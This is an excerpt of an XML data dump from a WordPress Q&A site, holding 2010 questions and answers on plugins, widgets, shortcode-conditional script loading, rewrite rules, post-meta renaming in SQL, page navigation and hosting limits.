  <row Id="2293" PostTypeId="2" ParentId="1783" CreationDate="2010-09-28T04:20:25.397" Score="4" ViewCount="" Body="&lt;p&gt;From the looks of things, your safest bet and easiest route would be to fork the More Fields plugin specifically for your use.  The two biggest features I can see your fork needing are a field &quot;factory&quot; and a drag-and-drop interface.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Multiple Fields&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;My suggestion would be to look at the &lt;a href=&quot;http://codex.wordpress.org/Widgets_API#Developing_Widgets_on_2.8.2B&quot; rel=&quot;nofollow&quot;&gt;WordPress Widget class&lt;/a&gt; and use it as a model for your field factory - basically, borrow the ability to create multiple instances of a field once you have the framework built for it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the core of how multiple widgets work in a sidebar:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You define the code for each widget once by extending the &lt;code&gt;WP_Widget&lt;/code&gt; class.  &lt;/li&gt;&#xA;&lt;li&gt;Then, you can create as many copies of the widget as you want&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The specifics of each widget are stored as serialized data in the options table&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;You can customize each widget, remove them with a simple &lt;code&gt;delete&lt;/code&gt; command, and set their positioning explicitly through the Appearance drag-and-drop interface&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Drag-and-drop&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Once again, I suggest looking to the WordPress widget system for inspiration.  We've already got a fairly intuitive drag-and-drop interface set up there, so it would be fairly easy to re-purpose much of the same code elsewhere.  Or, if you want to get really fancy, you can implement your own drag-and-drop system inside a separate custom meta field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So each slide would be defined by a custom meta box that's linked to the post.  The order of the slides would be set by a separate custom meta box that's also linked to the post.  I'd recommend submitting slide updates via AJAX so you can dynamically update the slide order meta box based on the information (this prevents having to manually hit &quot;update&quot; and wait for the page to reload before moving things around).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jQuery UI has a great &quot;&lt;a href=&quot;http://jqueryui.com/demos/draggable/&quot; rel=&quot;nofollow&quot;&gt;draggable&lt;/a&gt;&quot; interface that you could easily manipulate for your purposes within this custom meta box.  The hard part isn't building the interface, it's getting consistent, &lt;em&gt;accurate&lt;/em&gt; communication between the meta box and the collection of slide meta boxes elsewhere on the page.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;In Summary&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;What I gathered from your post is that you have a somewhat workable solution:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You've added 15 custom fields to your custom post type via the More Fields widget but want to &lt;em&gt;dynamically&lt;/em&gt; add/remove fields rather than work with a set number&lt;/li&gt;&#xA;&lt;li&gt;You want a way to adjust the order of these custom fields so that the slides load in order&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The way I'd approach this is to abstract the custom meta creation process to a class I can use over and again to create new custom meta fields.  Then I'd extend the class to initialize two types of meta boxes: one for slides, one for slide structure.  I'd also build into the slide structure meta box the ability to dynamically create new slide meta boxes (the slide meta boxes would house their own &quot;delete&quot; action).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entire slideshow would be stored not by the slide meta boxes, but by the slide structure meta box into a custom meta field for the post - the custom meta would be a jagged array, with each of the slides represented as arrays within it - &lt;em&gt;in order&lt;/em&gt;.  Customizing the order of the slideshow in the structure meta box would reorganize the array and re-save the post meta.  This way I only have 1 meta value to read back out when I want access to the slideshow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Between SlideDeck, More Fields, and the custom code you've put together so far, you've already got most of your solution in hand ... you just need to get it all working together at the same time.  I'd focus on getting the root implementation down first before adding the JavaScript embellishments - dynamically creating, modifying, saving, and deleting slides is more important than a rich text editor, IMO.  Get that cracked out first.  Then get the ordering system down.  &lt;em&gt;Then&lt;/em&gt; you can focus on getting multiple instances of TinyMCE working on the page.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-28T04:20:25.397" CommentCount="8" />
  <row Id="2294" PostTypeId="2" ParentId="2292" CreationDate="2010-09-28T06:44:07.227" Score="1" ViewCount="" Body="&lt;p&gt;I had the same problem when adding tinymce to widgets a few months ago.&#xA;Add all your javascript code with enqueue script, instead of adding it in each widget instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my tinymce implementation: &lt;a href=&quot;http://gist.github.com/600616&quot; rel=&quot;nofollow&quot;&gt;http://gist.github.com/600616&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-09-28T08:30:28.520" LastActivityDate="2010-09-28T08:30:28.520" CommentCount="5" />
  <row Id="2295" PostTypeId="1" AcceptedAnswerId="2297" CreationDate="2010-09-28T06:53:34.553" Score="0" ViewCount="58" Body="&lt;p&gt;By looking at the source of any of the WordPress pages on my site, I can see there is this stylesheet link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel='stylesheet' id='adoptStyles-css' &#xA; href='http://mydomain.com/wp-content/plugins//adopt_styles.css?ver=2.9.1' type='text/css' media='all' /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The link is broken - the URL is not served by my WordPress. (the double slash is not the source of the problem) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen this before? Where does this link come from? How to remove it/determine the plugin that is adding it?&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditorDisplayName="" LastEditDate="2010-09-28T07:04:43.877" LastActivityDate="2010-09-28T07:34:04.787" Title="Why is adoptStyles-css stylesheet link added to every page?" Tags="&lt;plugins&gt;&lt;css&gt;&lt;debug&gt;&lt;markup&gt;" AnswerCount="2" />
  <row Id="2296" PostTypeId="2" ParentId="2295" CreationDate="2010-09-28T07:12:13.627" Score="0" ViewCount="" Body="&lt;p&gt;It sould be added by a plugin or your theme. Try disabling them one by one to determine the one which is adding it.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-28T07:12:13.627" />
  <row Id="2297" PostTypeId="2" ParentId="2295" CreationDate="2010-09-28T07:13:26.607" Score="1" ViewCount="" Body="&lt;p&gt;File with this name comes up in search as part of Adsense Optimizer plugin (&lt;a href=&quot;https://plugins.svn.wordpress.org/adsenseoptimizer/trunk/&quot; rel=&quot;nofollow&quot;&gt;SVN&lt;/a&gt;). Curiously I don't see stylesheet actually being queued in code...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you using this plugin? Up to date version?&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-28T07:34:04.787" LastActivityDate="2010-09-28T07:34:04.787" CommentCount="1" />
  <row Id="2298" PostTypeId="1" AcceptedAnswerId="2299" CreationDate="2010-09-28T07:27:27.467" Score="0" ViewCount="123" Body="&lt;p&gt;Assuming you have a shared hosting account that enables multiple MySQL databases and multiple domain pointers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How many standard WP-installed websites can it hold without problem?&lt;/strong&gt;  (let's say each website gets around 1000-2000 visitors a day)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this depends on who is the hosting provider, please refer to whom is the one you are speaking of (which will enable the creation of some basic range).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;motivation: I recently asked a hosting provider to downgrade an account from VPS to share hosting, and they said it was not possible because of the number of websites and number of uniques (the installs are standard).  I wish to understand if they are being greedy or just.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-09-28T07:41:58.717" Title="How many WP websites can go on one shared hosting account?" Tags="&lt;hosting&gt;&lt;vps&gt;&lt;shared-hosting&gt;" AnswerCount="1" />
  <row Id="2299" PostTypeId="2" ParentId="2298" CreationDate="2010-09-28T07:41:58.717" Score="1" ViewCount="" Body="&lt;p&gt;Number of installs is not determined by WordPress, it is determined purely by hosting resources and policies. From personal experience even one blog with 1k daily visits can border overusing CPU quotas on crappy shared hosting with overstuffed server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to force this through - request specific resource usage policies and hard numbers on what server load your setup generates.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-28T07:41:58.717" />
  <row Id="2300" PostTypeId="2" ParentId="1411" CreationDate="2010-09-28T07:45:28.293" Score="1" ViewCount="" Body="&lt;p&gt;I think this might be a step in the right direction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Filter_Reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically the &lt;code&gt;the_editor_content&lt;/code&gt; filter which is &quot;applied to post content before putting it into a rich editor window.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry I can't flesh it out more for you but I am just starting to play around with filters myself and have miles to go before I can be useful.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2010-09-28T07:45:28.293" CommentCount="2" />
  <row Id="2301" PostTypeId="2" ParentId="2237" CreationDate="2010-09-28T08:11:38.427" Score="1" ViewCount="" Body="&lt;p&gt;You ca use the filters 'wp_nav_menu_items' and &quot;wp_nav_menu_{$menu-&gt;slug}_items&quot;. See 'wp-includes/nav-menu-template.php', line 222.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-28T08:11:38.427" CommentCount="4" />
  <row Id="2302" PostTypeId="1" AcceptedAnswerId="2304" CreationDate="2010-09-28T08:21:48.060" Score="2" ViewCount="986" Body="&lt;p&gt;I needed a way to filter a page/posts content before it was loaded so I could add scripts to the header if a specific shortcode was present. After much searching I came across this on  &lt;a href=&quot;http://wpengineer.com&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function has_my_shortcode($posts) {&#xA;    if ( empty($posts) )&#xA;        return $posts;&#xA;&#xA;    $found = false;&#xA;&#xA;    foreach ($posts as $post) {&#xA;        if ( stripos($post-&amp;gt;post_content, '[my_shortcode') )&#xA;            $found = true;&#xA;            break;&#xA;        }&#xA;&#xA;    if ($found){&#xA;        $urljs = get_bloginfo( 'template_directory' ).IMP_JS;&#xA;&#xA;    wp_register_script('my_script', $urljs.'myscript.js' );&#xA;&#xA;    wp_print_scripts('my_script');&#xA;}&#xA;    return $posts;&#xA;}&#xA;add_action('the_posts', 'has_my_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is absolutely brilliant and did exactly what I needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need to extend it a bit further and do the same for sidebars. It can be by a particular widget type, shortcode, code snippet or anything else that would work to identify when the script needs to be loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is I can't figure out how to access the sidebars content before the sidebar is loaded (the theme in question will have several sidebars)&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditorDisplayName="" LastEditDate="2010-09-29T03:56:01.440" LastActivityDate="2010-09-29T06:10:15.810" Title="Loading scripts only if a particular shortcode or widget is present" Tags="&lt;widgets&gt;&lt;javascript&gt;&lt;sidebar&gt;&lt;conditional-content&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="5" />
  <row Id="2303" PostTypeId="1" CreationDate="2010-09-28T08:53:07.357" Score="1" ViewCount="439" Body="&lt;p&gt;Most of my WordPress sites to date have been blog content, along with a 1 or 2 level page hierarchy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm now looking at developing a site with the customer site map suggests that a hierarchy of 4 levels of page content is required.  In terms of WordPress the hierarchy is easy to create, but I'm looking at the ways of providing navigation in the theme for this page hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I've seen is the Fold page list plug-in, but can't find much else on the subject.  I was wondering if anyone has any examples or experiences they can suggest for how best to provide the navigation in the theme for a deep page hierarchy like this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT - To clarify, I haven't currently selected a navigation type, this is part of the question.  In a 2 level page hierarchy I normally use a top nav for the 1st level, with dropdown showing the 2nd level of navigation e.g. the freshy theme - &lt;a href=&quot;http://www.gingerandthesoniccircus.net/&quot; rel=&quot;nofollow&quot;&gt;this example where the bands 1st level page menu link has 2nd level pages beneath&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't easily going to extend to 4 levels of navigation (unless we go for multiple menus opening similar to the Windows start button type menus, or the &lt;a href=&quot;http://devsnippets.com/article/reviews/10-brilliant-multi-level-navigation-menu-techniques.html&quot; rel=&quot;nofollow&quot;&gt;menumatic example in this article&lt;/a&gt;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am considering what alternate approaches are available e.g. top level navigation on a top bar, and then a sidebar showing 2nd level navigation headings, with expandable subsections as you drill down to the 3rd and 4th level.  E.g. &lt;a href=&quot;http://www.webspaceworks.com/resources/wordpress/30/&quot; rel=&quot;nofollow&quot;&gt;see the 'in action' section at the bottom right of the fold page list plugin webpage&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there may well be other good approaches to this, hence the question, to try and understand how other people approach providing navigation within WordPress to a deep hierarchy of page content&lt;/p&gt;&#xA;" OwnerUserId="956" LastEditorUserId="956" LastEditorDisplayName="" LastEditDate="2010-10-16T21:36:10.820" LastActivityDate="2010-12-15T22:30:51.130" Title="Multi-level page hierarchy" Tags="&lt;themes&gt;&lt;page&gt;&lt;hierarchical&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="2304" PostTypeId="2" ParentId="2302" CreationDate="2010-09-28T09:03:27.920" Score="6" ViewCount="" Body="&lt;p&gt;You can use the function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_active_widget&quot; rel=&quot;nofollow&quot;&gt;is_active_widget&lt;/a&gt; . E.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_widget() {&#xA;    if( is_active_widget( '', '', 'search' ) ) { // check if search widget is used&#xA;        wp_enqueue_script('my-script');&#xA;    }&#xA;}&#xA;&#xA;add_action( 'init', 'check_widget' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To load the script in the page where the widget is loaded only, you will have to add the is_active_widget() code, in you widget class. E.g., see the default recent comments widget (wp-includes/default-widgets.php, line 602):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class WP_Widget_Recent_Comments extends WP_Widget {&#xA;&#xA;    function WP_Widget_Recent_Comments() {&#xA;        $widget_ops = array('classname' =&amp;gt; 'widget_recent_comments', 'description' =&amp;gt; __( 'The most recent comments' ) );&#xA;        $this-&amp;gt;WP_Widget('recent-comments', __('Recent Comments'), $widget_ops);&#xA;        $this-&amp;gt;alt_option_name = 'widget_recent_comments';&#xA;&#xA;        if ( is_active_widget(false, false, $this-&amp;gt;id_base) )&#xA;            add_action( 'wp_head', array(&amp;amp;$this, 'recent_comments_style') );&#xA;&#xA;        add_action( 'comment_post', array(&amp;amp;$this, 'flush_widget_cache') );&#xA;        add_action( 'transition_comment_status', array(&amp;amp;$this, 'flush_widget_cache') );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-09-29T06:10:15.810" LastActivityDate="2010-09-29T06:10:15.810" CommentCount="8" />
  <row Id="2305" PostTypeId="2" ParentId="675" CreationDate="2010-09-28T09:06:37.927" Score="1" ViewCount="" Body="&lt;p&gt;What about creating a custom meta_field check box called update. If the box is checked it could append the phrase [updated] to the title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( get_post_meta( $post-&amp;gt;ID, _updated_post, true ) ) {  echo '[Updated]'; the_title();  }else{ the_title(); } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That would take care of visitors to the site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;the_title_rss&lt;/code&gt; for the same thing in your RSS feed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would probably want to use wp_cron to automatically reset the value ofter x amount of time unless you want to manually have to go back and untick the box&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2010-09-28T09:06:37.927" />
  <row Id="2306" PostTypeId="2" ParentId="2241" CreationDate="2010-09-28T09:38:46.477" Score="0" ViewCount="" Body="&lt;p&gt;I would like to follow up on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If understand it correctly then the WPML plugin should only be used in the event that the website is truly multilingual, and if the content doesnt vary from language to language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My needs is that each local language has own capabilities for managing content, independently from the other languages. My approach for this as i see it is that i will create a landing page on the first page on the domain, and then run several wordpress installations, as this also makes it easier for translators and local webmasters to maintain their own website (ofcourse with the added possibility that they might do damage too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.com - main landing page for selecting language/website&#xA;.com/uk - wordpress installation for UK&#xA;.com/es - wordpress installation for Spain&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the best way to approach this?&lt;/p&gt;&#xA;" LastActivityDate="2010-09-28T09:38:46.477" CommentCount="1" />
  <row Id="2307" PostTypeId="2" ParentId="2275" CreationDate="2010-09-28T10:04:34.453" Score="0" ViewCount="" Body="&lt;p&gt;So you want a system that encrypts the text before it enters the database, and decrypts it before it leaves the database. If you don't want to save the password on the server, you would need to find a way to provide this via the browser every time you make a request that needs encrypted data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do this in PHP, but maybe also in JavaScript. If we simplify the question by requiring only encryption of the post content and not other data (title, dates, ...), you could probably hook your code to a &lt;em&gt;TinyMCE event&lt;/em&gt; on the admin side, which asks for your password (or remembers it in &lt;a href=&quot;http://diveintohtml5.org/storage.html&quot; rel=&quot;nofollow&quot;&gt;Local Storage&lt;/a&gt; or another safe place that doesn't leave your computer), decrypts the text before it is shown in the editor, and the encrypts it again when you save it. This way, all WordPress sees is encrypted text. (You probably need to disable all kinds of content filters so nothing gets changed on the server side.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the public side of your blog you can do the same thing: send a block of encrypted data to the client, and decrypt it using JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This scheme is workable if you are the only one reading and writing, otherwise you would need a way to share the encrypting but let everyone have different passwords and such. But if you really are in the single-user scenario, are you sure WordPress is the best medium for your work? Maybe &lt;a href=&quot;http://www.evernote.com/&quot; rel=&quot;nofollow&quot;&gt;Evernote&lt;/a&gt; or another note-taking solution with support for encryption would work better?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-28T10:04:34.453" />
  <row Id="2308" PostTypeId="1" CreationDate="2010-09-28T10:24:26.047" Score="3" ViewCount="190" Body="&lt;p&gt;I’m trying to import into Wordpress a WXR file with many hundreds of Posts. It works fine and during the import process it seems to understand the categories, but the imported Posts are eventually just given the Uncategorized category. I’m using the WordPress Importer plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2010-11-17T23:39:40.563" Title="WXR import problem — not including categories" Tags="&lt;import&gt;&lt;bulk-import&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" />
  <row Id="2309" PostTypeId="2" ParentId="1691" CreationDate="2010-09-28T11:12:24.303" Score="2" ViewCount="" Body="&lt;p&gt;You will have to get a dedicated IP to make things simpler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works exactly like the domain mapping plugin, with the exception that you need to create a wildcard A record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike domain mapping, you can't get around the dedicated IP requirement by parking the domain, as parking will only cover the main 3.domain.com, and not any non existing *.3.mydomain.com subdomains. cPanel does not seem to support this via their admin interface. It is however possible to manually edit your apache conf file and add them to the ServerAlias line in your virtualhost: &lt;code&gt;ServerAlias 3.domain.com *.3.domain.com&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-28T11:12:24.303" CommentCount="1" />
  <row Id="2310" PostTypeId="1" AcceptedAnswerId="2311" CreationDate="2010-09-28T13:57:29.543" Score="0" ViewCount="70" Body="&lt;p&gt;What's the difference between marking a comment as spam and trashing it?&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2010-09-28T14:07:17.150" Title="Comment Spammed vs Trashed" Tags="&lt;spam&gt;&lt;trash&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="2311" PostTypeId="2" ParentId="2310" CreationDate="2010-09-28T14:07:17.150" Score="1" ViewCount="" Body="&lt;p&gt;In vanilla WordPress the only difference is that trashed comments &lt;a href=&quot;http://codex.wordpress.org/Trash_status#Default_Days_before_Permanently_Deleted&quot; rel=&quot;nofollow&quot;&gt;get deleted automatically after (customizable) time span&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding plugins to the picture - it might make difference to what/how specific plugin learns from incoming spam.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-28T14:07:17.150" />
  <row Id="2312" PostTypeId="2" ParentId="2133" CreationDate="2010-09-28T16:43:44.283" Score="4" ViewCount="" Body="&lt;p&gt;You can do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* add new rewrite rule */&#xA;function attachment_rewrite( $wp_rewrite ) {&#xA;    $rule = array(&#xA;        'media/(.+)' =&amp;gt; 'index.php?attachment=' . $wp_rewrite-&amp;gt;preg_index(1)&#xA;    );&#xA;&#xA;    $wp_rewrite-&amp;gt;rules = $rule + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;add_filter( 'generate_rewrite_rules', 'attachment_rewrite' );&#xA;&#xA;/* redirect standard wordpress attachments urls to new format */&#xA;function redirect_old_attachment() {&#xA;    global $wp;&#xA;&#xA;    if( !preg_match( '/^media\/(.*)/', $wp-&amp;gt;request ) &amp;amp;&amp;amp; isset( $wp-&amp;gt;query_vars['attachment'] ) ) {&#xA;        wp_redirect( site_url( '/media/' . $wp-&amp;gt;query_vars['attachment'] ) , 301 );&#xA;    }&#xA;}&#xA;add_filter( 'template_redirect', 'redirect_old_attachment' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-28T16:43:44.283" />
  <row Id="2314" PostTypeId="2" ParentId="1954" CreationDate="2010-09-28T17:09:47.747" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://wordpress.org/extend/plugins/markdown-on-save/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/markdown-on-save/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-28T17:09:47.747" CommentCount="3" />
  <row Id="2315" PostTypeId="1" CreationDate="2010-09-28T18:18:44.233" Score="1" ViewCount="546" Body="&lt;p&gt;How can i have multiple RSS feeds scroller in one sidebar. I want the RSS feeds of CNN, BBC, google news, USA today etc, all at the same time, is it possible to duplicate an RSS scrolling widget?&lt;/p&gt;&#xA;" OwnerUserId="732" LastActivityDate="2010-10-02T19:09:10.117" Title="Multiple RSS feeds scroller in one sidebar" Tags="&lt;3.0&gt;" AnswerCount="3" />
  <row Id="2316" PostTypeId="2" ParentId="2315" CreationDate="2010-09-28T18:44:43.007" Score="1" ViewCount="" Body="&lt;p&gt;If you're running the latest version of WordPress, all default widgets (including the RSS widget that ships with WordPress) are multi-instance.  This means you can drag multiple instances of the same widget onto the sidebar and have each one contain different content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So without knowing exactly &lt;em&gt;which&lt;/em&gt; &quot;RSS scrolling widget&quot; you're using, I can only speak in general terms ... but &lt;strong&gt;yes&lt;/strong&gt;, typically you can have duplicate RSS widgets in the sidebar that list news items from different sources.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-28T18:44:43.007" CommentCount="3" />
  <row Id="2317" PostTypeId="1" AcceptedAnswerId="2321" CreationDate="2010-09-28T18:47:39.880" Score="1" ViewCount="45" Body="&lt;p&gt;How would I display html code in only the first level of threaded comments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Example&lt;/em&gt;&lt;br&gt;&#xA;L1 Comment&lt;br&gt;&#xA;----L2 Comment&lt;br&gt;&#xA;--------L3 Comment&lt;br&gt;&#xA;L1 Comment&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a piece of html code that contains basically reads &quot;Reply to (author name) or post a new comment&quot; and only need it displayed on L1 comments.&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2010-09-28T19:36:43.893" Title="How to display html in only the first level of WP comments?" Tags="&lt;comments&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="2318" PostTypeId="1" AcceptedAnswerId="2319" CreationDate="2010-09-28T18:56:06.127" Score="1" ViewCount="74" Body="&lt;p&gt;I have two custom post meta objects that have been applied to all pages and posts in my sites. The names are MyCustomHeader and MyCustomTitle and I have one of these assigned to each post and page in my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just decided to change the names of these two meta objects so that they do not appear in the Custom Fields fieldset. I've done this by placing an underscore character before them. This changes the values to &quot;_MyCustomHeader&quot; and &quot;_MyCustomTitle&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to account for the sites that have numerous references to the old post meta names, I need to create a routine that runs once (either in the form of a plugin or a script in my theme options that only executes on theme activation) that goes through the WP database and converts every value that was &quot;MyCustomHeader to &quot;_MyCustomHeader&quot; and also &quot;MyCustomTitle&quot; to &quot;_MyCustomTitle&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;scott&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-09-28T19:23:43.653" Title="Routine to convert custom post meta from old to new value" Tags="&lt;database&gt;&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="2319" PostTypeId="2" ParentId="2318" CreationDate="2010-09-28T19:23:43.653" Score="1" ViewCount="" Body="&lt;p&gt;You can run the following sql queries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update wp_postmeta set meta_key=replace(meta_key,'MyCustomHeader','_MyCustomHeader') where meta_key like &quot;MyCustomHeader&quot;;&#xA;update wp_postmeta set meta_key=replace(meta_key,'MyCustomTitle','_MyCustomTitle') where meta_key like &quot;MyCustomTitle&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-28T19:23:43.653" CommentCount="5" />
  <row Id="2321" PostTypeId="2" ParentId="2317" CreationDate="2010-09-28T19:36:43.893" Score="2" ViewCount="" Body="&lt;p&gt;You can do this in the comments loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( empty( $comment-&amp;gt;comment_parent ) ) { //if the comment does not have a parent, then it is L1&#xA;    echo 'my-custom-html';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-28T19:36:43.893" CommentCount="2" />
  <row Id="2322" PostTypeId="1" AcceptedAnswerId="2323" CreationDate="2010-09-28T19:48:04.667" Score="0" ViewCount="49" Body="&lt;p&gt;When I navigate to...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appearance &gt; Editor &gt; Edit Themes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default file that gets loaded there is my options.css file (which I don't want anyone editing since it styles my theme options panel, not the theme itself.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I specify which file gets loaded there? Ideally, I'd like for my theme's current stylesheet to be loaded there. Is there a way that I can specify this in script from functions.php?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-09-28T20:15:34.633" Title="How can I tell WP which file to load by default in Appearance &gt; Editor?" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="2323" PostTypeId="2" ParentId="2322" CreationDate="2010-09-28T20:15:34.633" Score="0" ViewCount="" Body="&lt;p&gt;Looking at &lt;code&gt;theme-editor.php&lt;/code&gt; code it calls &lt;code&gt;get_themes()&lt;/code&gt; (fills global &lt;code&gt;$wp_themes&lt;/code&gt; variable with themes, including full lists of theme files) and then simply picks first file out of files from current theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It jumps to CSS because PHP and CSS files are stored separately and when arrays merge CSS comes on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can just rename your file so it isn't first in list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More complex way would be to hook and run &lt;code&gt;get_themes()&lt;/code&gt; earlier and then manually rearrange files in &lt;code&gt;$wp_themes&lt;/code&gt;. I am not good with admin area, have trouble finding fitting hook to run it conditionally on editor page alone.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-28T20:15:34.633" CommentCount="3" />
